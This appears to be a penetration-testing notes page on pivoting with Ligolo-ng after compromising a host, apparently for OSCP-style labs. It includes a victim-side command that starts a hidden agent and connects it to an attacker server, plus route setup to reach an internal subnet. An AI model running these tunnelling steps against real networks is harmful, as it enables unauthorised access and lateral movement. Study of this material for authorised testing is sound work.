> For the complete documentation index, see [llms.txt](https://htb.linuxsec.org/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://htb.linuxsec.org/active-directory/post-exploitation/tunneling-with-ligolo-ng.md).

# Tunneling with Ligolo-ng

Ligolo-ng is a tool used for tunneling network traffic, primarily in penetration testing and security assessments. Its main purpose is to create a secure tunnel between a compromised machine and an attacker's server, allowing the attacker to access internal networks or services that are not directly reachable from the outside. This is especially useful for bypassing firewalls and for exfiltrating data or gaining further access within a target network. Ligolo-ng can support various protocols, making it versatile for different scenarios.

### From Attacker Side - Start Server

{% code overflow="wrap" %}

```bash
sudo ligolo-proxy -selfcert
interface_create --name "oscp-chall"
```

{% endcode %}

### From Victim Side - Connect to Server

{% code overflow="wrap" %}

```powershell
start /B ligolo-agent.exe -ignore-cert -connect 192.168.45.188:11601
```

{% endcode %}

### From Attacker Side - Start Tunneling

Then, from attacker side, after agent joined, run:

{% code overflow="wrap" %}

```bash
session
tunnel_start --tun "oscp-chall"
ifconfig
interface_add_route --name oscp-chall --route 10.10.70.0/24
```

{% endcode %}

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmcPHJfOlTfe2PKc0mF7qJ1Z3s_VhUb7V90x_gD7U9LCmrXQVFgIL4TMOItkViqt9UNUdVxJ5aQ840OaxYXfhdycxFQ6ESfva2634ZBrCVyrAviF9dZ8onBvclYyUe2OZ7-dWf-flZSlA_U-GusL33vUskm6EGItnAZtQbX2QSyJkm0YRPazhxm7cw45s/s1000/ligolo-tunneling.png" alt=""><figcaption><p>Ligolo Proxy</p></figcaption></figure>

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjD_j5E9segsjkDNnswycyDHUWHpcJ9Qn0VrYbzsDjgwSD49ykTPDIVIueAJk7FRxbZUOxmJiBeXkhKSUMuiCZevVo-UKeBtEAIbU6PRGV3vl0Wodr7dJZbinuewa-MypT_7lGPEfj_TRPBGmzIBZnILteBE_RtjE5VwpOB5vcSMKLcz2Ay0PIVM_7pCFs/s1072/route%20add.png" alt=""><figcaption><p>Add new route</p></figcaption></figure>

Now, our machine will able to access internal targets.

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjONfK2_6NjnC03dYAqkHNsaki6sa-RXCULDwXtmxKefZOR0FViXPwbX4-nv-Q9EDzOanKqitS7zUzG8H2z8I-PnztBFPxrG6Pax11G1VyeNqNNabxoe_tauCYzC2qKgrWCAZekvqKHFCJHrktHQxWHbpO2C6AKPZ9GlnG_zGKbCTIVicxRoPt_vXHIgSU/s1067/internal%20targets.png" alt=""><figcaption><p>Internal Access</p></figcaption></figure>
